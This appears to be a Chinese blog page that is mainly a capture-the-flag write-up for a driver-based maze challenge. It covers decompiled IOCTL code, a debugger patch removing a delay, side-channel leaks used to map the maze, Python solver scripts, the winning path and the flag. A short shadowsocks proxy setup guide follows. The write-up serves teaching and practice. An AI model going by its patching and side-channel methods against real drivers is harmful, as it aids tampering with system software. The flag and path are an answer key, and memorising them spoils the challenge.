30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
__int64 v4; // rcx
int inputPos; // ebx
__int64 wirtePos; // rsi
unsigned int inputChar; // edi
__int64 code; // rdx
char _AL; // al
__int64 _RCX; // rcx
char theSend; // al
int v13; // r8d
int status; // eax
DWORD LastError; // edx
char *seq; // rdx
_DWORD moveBufOut[2]; // [rsp+20h] [rbp-188h] BYREF
ioctl_8001200c_out map; // [rsp+28h] [rbp-180h] BYREF
_OWORD buf[4]; // [rsp+40h] [rbp-168h] BYREF
int (__stdcall *send)(SOCKET, const char *, int, int); // [rsp+80h] [rbp-128h] BYREF
_BYTE Buf[176]; // [rsp+E0h] [rbp-C8h] BYREF

InitTips();
printf("[*] Connecting to Shadow gate driver...\n");
hDevice = (HANDLE)OpenDriver();
if ( hDevice == (HANDLE)-1LL )
{
printf("[!] Cannot continue without driver.\n");
printf("[*] Press any key to exit...\n");
getch();
return 1;
}
printf("[+] Gate module online.\n\n");
sub_140001670();
memset(&map, 0, sizeof(map));
if ( IO_8001200C(v4, &map) )
printf("[*] Maze grid: %ux%u, Entry=(%u,%u), Exit=(%u,%u)\n", map.x, map.y, map.ex, map.ey, map.exX, map.exY);
PrintOperatorTips();
memset(&send, 0, 0x100u);
inputPos = 0;
wirtePos = 0;
while ( 2 )
{
printf("[op #%d] > ", inputPos);
inputChar = getch();
printf("%c\n", inputChar);
inputChar -= 0x1B;
_AL = inputChar;
_RCX = (unsigned __int16)Buf;
LOBYTE(_RCX) = (unsigned __int8)Buf + 11;
switch ( inputChar )
{
case '\0':
case '6': // Q
case 'V': // q
goto Exit;
case '$': // ?Hh
case '-':
case 'M':
PrintOperatorTips();
continue;
case '&': // AJaj left
case '/':
case 'F':
case 'O':
LOBYTE(code) = 0x30;
theSend = 'L';
goto Send;
case ')': // DLdl right
case '1':
case 'I':
case 'Q':
LOBYTE(code) = 0x40;
__asm { rcl al, cl; Rotate Through Carry Left }
theSend = 'R';
goto Send;
case '.':
case '<':
case 'N':
case '\\':
LOBYTE(code) = 0x10;
theSend = 'U';
goto Send;
case '0':
case '8':
case 'P':
case 'X':
LOBYTE(code) = 0x20;
theSend = 'D';
Send:
if ( inputPos < 255 )
{
*((_BYTE *)Buf + wirtePos + 80) = theSend;
++inputPos;
++wirtePos;
if ( (unsigned int)inputPos >= 0x100 )
_report_securityfailure_w(_RCX);
*((_BYTE *)Buf + wirtePos + 80) = 0;
}
v13 = dword_140005668;
memset(buf, 0, sizeof(buf));
moveBufOut[0] = 0;
++dword_140005668;
status = IO_80012004(hDevice, code, v13, buf, moveBufOut);
if ( status != 1 )
{
if ( status == -1 )
{
LastError = GetLastError();
printf("[ERROR] DeviceIoControl failed: %lu\n", LastError);
}
continue;
}
printf(L"\n");
printf("=============================================\n");
printf(" ACCESS GRANTED - Credential extracted!\n");
printf("=============================================\n");
if ( moveBufOut[0] )
{
printf("[CREDENTIAL] %s\n", (const char *)buf);
}
else
{
printf("[*] You reached the exit, but the credential could not be decrypted.\n");
printf("[*] Hint: Only the shortest path unlocks the credential.\n");
}
printf("[*] Your input (%d ops sent): %s\n", inputPos, (const char *)&send);
printf("[*] Note: blocked ops are included above; the driver only counts successful ones.\n");
printf(L"\n");
memset(buf, 0, sizeof(buf));
printf("[*] Press any key to exit...\n");
getch();
Exit:
Close3Func(_RCX);
if ( hDevice != (HANDLE)-1LL )
CloseHandle(hDevice);
printf("[*] Mission aborted. ACE HQ standing by.\n");
return 0;
case '7':
case 'W':
IO_80012008_Reset();
inputPos = 0;
dword_140005668 = 0;
LOBYTE(send) = 0;
wirtePos = 0;
printf("[*] Reset to entry point.\n");
continue;
case '9':
case 'Y':
printf("[*] Operations sent: %d\n", inputPos);
seq = (char *)&send;
if ( inputPos <= 0 )
seq = "(none)";
printf("[*] Sequence: %s\n", seq);
continue;
default:
printf("[?] Unknown command. 'h' for help.\n");
continue;
}
}
}

重点在驱动交互,其余均为负责输入的逻辑

IO_8001200C

初始化

1
2
3
4
5
6
7
BOOL __fastcall IO_8001200C(__int64 a1, void *lpOutBuffer)
{
DWORD BytesReturned; // [rsp+40h] [rbp-18h] BYREF

BytesReturned = 0;
return DeviceIoControl(hDevice, 0x8001200C, 0, 0, lpOutBuffer, 0x18u, &BytesReturned, 0);
}
1
2
3
4
5
6
7
8
9
struct __unaligned ioctl_8001200c_out
{
DWORD x;
DWORD y;
DWORD ex;
DWORD ey;
DWORD exX;
DWORD exY;
};

IO_80012004

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__int64 __fastcall IO_80012004(void *hDevice, __int64 _RDX, int a3, _BYTE *buf, DWORD *out)
{
__int64 v5; // rdi
char v6; // al
unsigned int rest; // esi
int lpInBuffer__1; // eax
DWORD Size; // ecx
__int64 Size_1; // rdi
MoveOutBuf IOOutBuf; // [rsp+20h] [rbp-C8h] BYREF
DWORD lpBytesReturned; // [rsp+B0h] [rbp-38h] BYREF
ioctl_80012004_in lpInBuffer_; // [rsp+B8h] [rbp-30h] BYREF
__int64 v17; // [rsp+D0h] [rbp-18h]

v17 = v5;
v6 = _RDX ^ 0xFA;
rest = 0;
memset(&IOOutBuf, 0, sizeof(IOOutBuf));
LOBYTE(_RDX) = (unsigned __int8)(_RDX ^ 0x40) >> 5;
lpInBuffer__1 = (unsigned __int8)(_RDX | (8 * v6));
__asm { rcr rdx, 8Bh; Rotate Through Carry Right }
*(_QWORD *)&lpInBuffer_.code = (unsigned __int8)lpInBuffer__1;
lpBytesReturned = 0;
lpInBuffer_.check = a3 ^ lpInBuffer__1 ^ 0xDEAD1337;
if ( DeviceIoControl(hDevice, 0x80012004, &lpInBuffer_, 0xCu, &IOOutBuf, 0x84u, &lpBytesReturned, 0) )
{
if ( *(_DWORD *)IOOutBuf.msg == 'WIN!' )
{
rest = 1;
if ( buf )
{
if ( out )
{
Size = IOOutBuf.size;
*out = IOOutBuf.size;
if ( Size - 1 > 0x3E )
{
*buf = 0;
}
else
{
Size_1 = Size;
memcpy(buf, IOOutBuf.p2, Size);
buf[Size_1] = 0;
}
}
}
}
}
else
{
rest = -1;
}
memset(&IOOutBuf, 0, sizeof(IOOutBuf));
return rest;
}

负责移动,发送给驱动的数据结构见下

1
2
3
4
5
6
struct ioctl_80012004_in
{
DWORD code;
DWORD pos;
DWORD check;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from struct import pack

def calcMoveCode(_RDX):
'''
计算键盘映射到驱动键盘映射
0x10 up
0x20 down
0x30 left
0x40 right
:param _RDX:
:return:
'''
v6 = (_RDX ^ 0xFA) & 0xff
_RDX = ((_RDX ^ 0x40) >> 5) & 0xff
res = (_RDX | (8 * v6)) & 0xff
print(hex(res))
return res

def IO_MOVE_GenBuf(code, index):
code = calcMoveCode(code)
check = (code ^ index ^ 0xDEAD1337) & 0xffffffff
print(hex(check))

b = pack('<III', code, index, check)
print(f'{b.hex()}')

IO_MOVE_GenBuf(0x30, 0)
IO_MOVE_GenBuf(0x20, 1)
IO_MOVE_GenBuf(0x10, 2)
IO_MOVE_GenBuf(0x40, 3)

IO_80012008_Reset

重置迷宫

1
2
3
4
5
6
7
BOOL IO_80012008_Reset()
{
DWORD BytesReturned; // [rsp+40h] [rbp-18h] BYREF

BytesReturned = 0;
return DeviceIoControl(hDevice, 0x80012008, 0, 0, 0, 0, &BytesReturned, 0);
}

sys 分析

有一些难以分析的 call,nop 掉看整体流程

image.png

载入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall sub_140003208(struct _DRIVER_OBJECT *DriverObject)
{
void *Pool2; // rax
NTSTATUS Pool2_1; // edi
struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREF

Pool2 = (void *)ExAllocatePool2(64, 472, 0x657A614D);
MemoryPool = Pool2;
if ( !Pool2 )
return 0xC000009ALL;
Pool2_1 = (int)Pool2; // 混淆
if ( (int)Pool2 < 0
|| (KeInitializeSpinLock(&SpinLock),
KeInitializeSpinLock(&SpinLock_),
((void (*)(void))loc_140001E60)(),
DestinationString = 0,
RtlInitUnicodeString(&DestinationString, L"\\Device\\ShadowGate"),
Pool2_1 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject),
Pool2_1 < 0) )
{
_mm_lfence();
ExFreePoolWithTag(MemoryPool, 0x657A614Du);
LABEL_5:
MemoryPool = 0;
return (unsigned int)Pool2_1;
}
RtlInitUnicodeString(&SymbolicLinkName, L"\\??\\ShadowGate");
Pool2_1 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( Pool2_1 < 0 )
{
_mm_lfence();
IoDeleteDevice(DeviceObject);
ExFreePoolWithTag(MemoryPool, 0x657A614Du);
DeviceObject = 0;
goto LABEL_5;
}
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140001840;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400014B0;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_140001410;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)j_IRP_Control_Func;
DeviceObject->Flags |= 4u;
DeviceObject->Flags &= ~0x80u;
return 0;
}

Contorl 里面也有两处难以分析 call,nop 掉看整体逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
__int64 __fastcall IRP_Control_Func(__int64 a1, IRP *IRP, __int64 a3, char a4)
{
__int16 v4; // r11
__int16 v5; // r13
__int16 v6; // di
struct _IO_STACK_LOCATION *CurrentStackLocation; // rax
unsigned int Status_1; // ebp
ULONG_PTR info; // r8
ULONG IoControlCode; // edx
unsigned int inputLen; // edi
unsigned int outLen; // eax
buf_u *SystemBuffer; // r14
unsigned int Status; // edx
KIRQL NewIrql_1; // al
KSPIN_LOCK *SpinLock; // rcx
KIRQL NewIrql; // al
struct_MemoryPool *P; // rcx
unsigned int _____1; // eax
unsigned int ____; // esi
KIRQL NewIrql_4; // al
struct_MemoryPool *MemoryPool; // rdi
KIRQL NewIrql_2; // bl
HANDLE CurrentThreadId; // rax
KSPIN_LOCK *p_kspin_lock1C0; // rcx
KSPIN_LOCK *p_kspin_lock1C0_1; // rcx
KIRQL NewIrql_5; // al
char _DI_1; // cl
KIRQL NewIrql_3; // si
__int64 n255; // rdi
KSPIN_LOCK *p_kspin_lock1C0_2; // rcx
DWORD v37; // [rsp+0h] [rbp-158h] BYREF
__int64 v38; // [rsp+8h] [rbp-150h]
__m128 buf[16]; // [rsp+20h] [rbp-138h] BYREF

v6 = __ROR2__(v5, 1);
LOBYTE(v6) = a4 - v6;
CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
_DI = v6 - v4;
__asm { rcr di, 0AFh }
Status_1 = 0;
info = 0;
IoControlCode = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
inputLen = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
outLen = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
SystemBuffer = (buf_u *)IRP->AssociatedIrp.SystemBuffer;
if ( ::MemoryPool )
{
switch ( IoControlCode )
{
case 0x80012004:
if ( SystemBuffer && inputLen >= 0xC && outLen >= 0x84 )// move?
{
v38 = *(_QWORD *)&SystemBuffer->_12004.code;
if ( SystemBuffer->_12004.check == ((unsigned __int8)v38 ^ HIDWORD(v38) ^ 0xDEAD1337) )
{
NewIrql = KeAcquireSpinLockRaiseToDpc(&::MemoryPool->kspin_lock1C0);
P = ::MemoryPool;
++::MemoryPool->dwordBC;
KeReleaseSpinLock(&P->kspin_lock1C0, NewIrql);
____ = _____1; // 可能混淆
customMemset(SystemBuffer, 0, 0x84u);
NewIrql_4 = KeAcquireSpinLockRaiseToDpc(&::MemoryPool->kspin_lock1C0);
MemoryPool = ::MemoryPool;
NewIrql_2 = NewIrql_4;
CurrentThreadId = PsGetCurrentThreadId();
p_kspin_lock1C0 = &::MemoryPool->kspin_lock1C0;
*(_QWORD *)MemoryPool[1].gap8 = CurrentThreadId;
KeReleaseSpinLock(p_kspin_lock1C0, NewIrql_2);
((void (__fastcall *)(struct_MemoryPool *, _QWORD))loc_14040305A)(::MemoryPool, ____);
if ( ____ == 2 )
{
p_kspin_lock1C0_1 = &::MemoryPool->kspin_lock1C0;
SystemBuffer[2]._1200c.enY = 'WIN!';
NewIrql_5 = KeAcquireSpinLockRaiseToDpc(p_kspin_lock1C0_1);
_DI = _DI_1;
__asm { rcl dil, 0BEh }
NewIrql_3 = NewIrql_5;
LOBYTE(_R8D) = _DI;
__asm { rcr r8d, 22h }
n255 = *(unsigned int *)&::MemoryPool->gap8[172];
if ( (unsigned int)n255 > 0xFF )
n255 = 255;
sub_140003600(buf, (__m128 *)::MemoryPool->buf, (unsigned int)n255);
_mm_lfence();
p_kspin_lock1C0_2 = &::MemoryPool->kspin_lock1C0;
buf[0].m128_i8[n255] = 0;
KeReleaseSpinLock(p_kspin_lock1C0_2, NewIrql_3);
v37 = 0;
sub_1403F7C6D(buf, (unsigned int)n255, (__int64)&SystemBuffer[2]._12004 + 16, (__int64)&v37);
SystemBuffer[5]._1200c.enX = v37;
memset(buf, 0, sizeof(buf));
}
sub_1400026B4(SystemBuffer);
}
else
{
customMemset(SystemBuffer, 0, 0x84u);
sub_140002038(SystemBuffer);
}
info = 132;
goto LABEL_23;
}
break;
case 0x80012008:
sub_140001A7C((__int64)::MemoryPool); // reset
sub_14031A53E();
info = 0;
goto LABEL_23;
case 0x8001200C:
if ( SystemBuffer && outLen >= 0x18 ) // init
{
NewIrql_1 = KeAcquireSpinLockRaiseToDpc(&::MemoryPool->kspin_lock1C0);
SystemBuffer->_1200c.enY = 0;
SystemBuffer->_1200c.x = 13;
*(_QWORD *)&SystemBuffer->_1200c.y = 13;
SpinLock = &::MemoryPool->kspin_lock1C0;
SystemBuffer->_1200c.exitX = 12;
SystemBuffer->_1200c.exitY = 12;
KeReleaseSpinLock(SpinLock, NewIrql_1);
info = 0x18;
goto LABEL_23;
}
break;
default:
Status_1 = 0xC0000010;
LABEL_23:
Status = Status_1; // 可能混淆
return IO_CompleteReq(IRP, Status, info);
}
Status_1 = 0xC0000023;
goto LABEL_23;
}
Status = 0xC00000A3;
// 可能混淆
return IO_CompleteReq(IRP, Status, info);
}
/* Orphan comments:
可能混淆
*/

CODE 0x8001200C

传递迷宫大小,位置信息

CODE 0x80012008

重置

CODE 0x80012004

移动,主要逻辑

移动延迟

KeDelayExecutionThread 对每步移动都进行一点延迟,所以算法爆破特别慢,需要 patch

image.png

VA 0x1400026BD,RVA 0x26BD 全 nop (5字节)

1
eq ShadowGateSys+0x26bd c483489090909090

五个泄漏点

sys data 段起始有一个花指令魔数,通过该魔数可以定位四个泄漏点

image.png

1. Event 泄漏

exe 0x140001340 创建 Global Event

image.png

sys 0x1400022B0 中 event 泄漏:n2==0/2 置 MazeMoveOK,否则置 MazeMoveWall

image.png

2. 信号量 泄漏

exe 0x14021B91F 创建信号量,异或 0x4B 解密字符串

image.png

image.png

得到

1
2
Global\{A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D}
Global\{B8E2C3D0-0F5A-5D9B-C6E7-2A3F4B5C6D7E}

sys 0x140319A37 中 semaphore 泄漏,_EDX ==0/2 释放 {A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D} ,否则释放 {B8E2C3D0-0F5A-5D9B-C6E7-2A3F4B5C6D7E}

image.png

3. TEB.LastError 泄漏

sys 0x140316ADF 中修改 exe LastErrorValue ,n2 为 0 时设置 0xC0DE0001, 2 时设置 0xC0DE0002, 其他时设置 0xC0DE0000

image.png

4. TEB + 0x1748 泄漏

exe 0x14021BC88 在释放时有部分提示

image.png

sys 0x14031857E 中,使用 PsGetThreadTeb 获取 TEB 后使用 ZwSetInfomationObject 对 teb + 0x1748 处进行设置

在 icall 分发处能够看到实际调用的 call 为 PsGetThreadTeb 和 ZwSetInfomationObject

image.png

两个 icall 都清理为 call rax 不然反编译有问题

image.png

n2 = 0/2,设置 1,否则设置 0

image.png

5. 内存属性 泄漏

在 _guard_dispatch_icall_nop 下断点,当输入断在 rax=ZwProtectVirtualMemory 时就是触发第五个漏洞

调用参数为

rdx = ShadowGateApp.exe 的 .data 页

rcx = ShadowGateApp.exe 的 .data 页长度

将 .data 页的属性修改为 RW 或 ERW

1
2
3
4
3: kd> dq rdx L1
ffffab06`6e6a75a0 00007ff6`0eb55000
3: kd> dq r8 L1
ffffab06`6e6a75a8 00000000`00001000

image.png

找了下没找到,看堆栈这个是真的在 vm 里面了,该泄漏通过观察页得到,猜测 sys 会修改名为 .data 的页

image.png

image.png

根据上面规则猜测 n2 = 0/2 时,页属性变成 PAGE_EXECUTE_READWRITE 其他时,保持 PAGE_READWRITE

查询迷宫 & 探索迷宫

方法一:r3 下通过泄漏探索迷宫

伪代码,完整见附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Init():
打开驱动设备
创建 2 个事件对象
创建 2 个命名信号量
创建 1 个 probe handle
找到当前 exe 的 .data 首页
把 probe handle 写入 TEB+0x1748
发送 QUERY,得到迷宫大小、起点、终点

EncodeMove(dir):
将 U/D/L/R 编码成驱动需要的 dir 值

DoMove(dir):
packet.dir = EncodeMove(dir)
packet.counter = global_counter
packet.check = dir ^ counter ^ 0xDEAD1337
global_counter++
发送 IOCTL_MOVE
返回 reply

PrepareDetectors():
ResetEvent(ok)
ResetEvent(wall)
DrainSemaphore(A)
DrainSemaphore(B)
SetLastError(哨兵值)
将 .data 首页改回 RW
将 probe handle flags 改回基线
重新确保 TEB+0x1748 = probe handle

ReadVerdict(reply):
同时读取:
Event 状态
Semaphore 状态
LastError
HandleFlags
.data 页保护
if Event 有效:
返回 open / wall / win
else if Semaphore 有效:
返回 open / wall / win
else if LastError 有效:
返回 open / wall / win
else if HandleFlags 相对基线发生变化:
返回 open / wall / win
else:
根据 .data 页保护返回 open / wall / win

ReplayPath(path):
RESET 驱动
for step in path:
PrepareDetectors()
verdict = ReadVerdict(DoMove(step))
若 replay 过程中出现 wall,则说明路径失效,直接报错

ProbeOneStep(path_to_cur, dir):
ReplayPath(path_to_cur)
PrepareDetectors()
reply = DoMove(dir)
return ReadVerdict(reply)

DFS(x, y):
标记 (x, y) 已访问
for dir in [R, D, L, U]:
nx, ny = 邻格
若越界或该格已判定,continue

verdict = ProbeOneStep(path[x][y], dir)

if verdict == wall:
maze[ny][nx] = '#'
else:
maze[ny][nx] = '.'
path[nx][ny] = path[x][y] + dir
if 未访问:
DFS(nx, ny)

BuildShortestPath():
对已恢复出的 '.' 地图做 BFS
从起点求到终点的最短路径

得到以下迷宫图

1
2
3
4
5
6
7
8
9
10
11
12
13
.......#.....
######.###.#.
.....#.....#.
.###.#######.
.#.........#.
.#.#.#####.#.
.#.#.#...#.#.
.#.###.#.###.
.#.....#.#...
.#######.#.##
...#...#.#.#.
##.#.#.#.#.#.
.....#.#.....

方法二:可以通过 sys 直接读取分配内存读取到迷宫

image.png

image.png

最短路径求解

bfs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from __future__ import annotations

from collections import deque
import re
from pathlib import Path

INPUT_PATH = Path("Input.txt")
OPEN_TILES = {".", "*"}

def parse_point(text: str) -> tuple[int, int] | None:
match = re.search(r"\((\d+),\s*(\d+)\)", text)
if not match:
return None
return int(match.group(1)), int(match.group(2))

def load_maze(path: Path) -> tuple[list[str], tuple[int, int], tuple[int, int]]:
lines = [line.strip() for line in path.read_text(encoding="utf-8").splitlines() if line.strip()]
start: tuple[int, int] | None = None
goal: tuple[int, int] | None = None
maze: list[str] = []

for line in lines:
if line.startswith("start="):
left, _, right = line.partition("goal=")
start = parse_point(left)
goal = parse_point(right)
continue
if set(line) <= OPEN_TILES | {"#"}:
maze.append(line)

if not maze:
raise ValueError("Input.txt 中没有找到迷宫数据")

width = len(maze[0])
if any(len(row) != width for row in maze):
raise ValueError("迷宫每一行长度必须一致")

if start is None:
start = (0, 0)
if goal is None:
goal = (width - 1, len(maze) - 1)

return maze, start, goal

def is_open(maze: list[str], x: int, y: int) -> bool:
return maze[y][x] in OPEN_TILES

def solve(maze: list[str], start: tuple[int, int], goal: tuple[int, int]) -> str:
width = len(maze[0])
height = len(maze)
sx, sy = start
gx, gy = goal

if not (0 <= sx < width and 0 <= sy < height and is_open(maze, sx, sy)):
raise ValueError("起点不可达或越界")
if not (0 <= gx < width and 0 <= gy < height and is_open(maze, gx, gy)):
raise ValueError("终点不可达或越界")

moves = [
(1, 0, "R"),
(0, 1, "D"),
(-1, 0, "L"),
(0, -1, "U"),
]

queue = deque([start])
prev: dict[tuple[int, int], tuple[tuple[int, int], str] | None] = {start: None}

while queue:
x, y = queue.popleft()
if (x, y) == goal:
break

for dx, dy, step in moves:
nx = x + dx
ny = y + dy
if not (0 <= nx < width and 0 <= ny < height):
continue
if not is_open(maze, nx, ny):
continue
if (nx, ny) in prev:
continue
prev[(nx, ny)] = ((x, y), step)
queue.append((nx, ny))

if goal not in prev:
raise ValueError("找不到从起点到终点的路径")

path: list[str] = []
cur = goal
while cur != start:
parent, step = prev[cur] # type: ignore[misc]
path.append(step)
cur = parent
path.reverse()
return "".join(path)

def main() -> None:
maze, start, goal = load_maze(INPUT_PATH)
path = solve(maze, start, goal)
print(f"start={start} goal={goal}")
print(f"length={len(path)}")
print(path)

if __name__ == "__main__":
main()

Flag

flag{SHAD0WNT_HYPERVMX}

1
2
3
4
5
6
7
8
9
=============================================
ACCESS GRANTED - Credential extracted!
=============================================
[CREDENTIAL] flag{SHAD0WNT_HYPERVMX}
[*] Your input (32 ops sent): RRRRRRDDRRRRUURRDDDDDDDDLLDDDDRR
[*] Note: blocked ops are included above; the driver only counts successful ones.

[*] Press any key to exit...
[*] Mission aborted. ACE HQ standing by.
阅读更多

内网 ss 服务端搭建

2026/04/08

在某某内网环境下,手机需要通过某内网设备来连接到互联网(内网设备已连接外网),且为了安全考虑,所以采用 ss 的加密,故有此篇记录

二编(2026年10月26日)

配置文件一些细节配置

1
2
3
4
5
6
7
8
9
10
11
mode: Global
dns:
enable: true
respect-rules: true
nameserver:
- https://8.8.8.8/dns-query
- https://1.1.1.1/dns-query
proxy-server-nameserver:
- 223.5.5.5
proxies:
- {name: X, server: X, port: 8388, type: ss, cipher: aes-256-gcm, password: X, udp: true}

下载&启动 ss 服务端

选取 https://github.com/shadowsocks/shadowsocks-rust

笔者使用 shadowsocks-v1.24.0.x86_64-pc-windows-gnu.zip 进行测试

1
2
3
4
5
6
7
8
9
10
\shadowsocks-v1.24.0.x86_64-pc-windows-gnu 的目录

2026/04/08 05:56 <DIR> .
2026/04/08 05:56 <DIR> ..
2026/04/08 04:51 9,754,112 sslocal.exe
2025/12/11 08:22 7,732,224 ssmanager.exe
2025/12/11 08:21 7,635,456 ssserver.exe
2026/04/08 04:51 10,604,032 ssservice.exe
2025/12/11 08:20 2,496,000 ssurl.exe
2026/04/08 04:51 10,598,912 sswinservice.exe

生成密钥

1
ssservice.exe genkey -m "aes-256-gcm"

编写 config.json

1
2
3
4
5
6
7
8
9
{
"server": "0.0.0.0",
"server_port": 8388,
"password": "你生成的密钥或自定义密码",
"method": "aes-256-gcm",
"timeout": 300,
"fast_open": true,
"mode": "tcp_and_udp"
}

启动服务端(这里不做服务安装,仅作为 cli server)

1
ssserver.exe -c config.json

导出 ss 链接

1
ssurl.exe -e config.json

注意

由于服务端接收 0.0.0.0 也就是所有 ip 请求,所以生成的 ss 链接也是 0.0.0.0 所以需要改成目标设备 ip,例如 192.168.1.2@8388

注意最后要开启对应端口的防火墙,例如 8388

阅读更多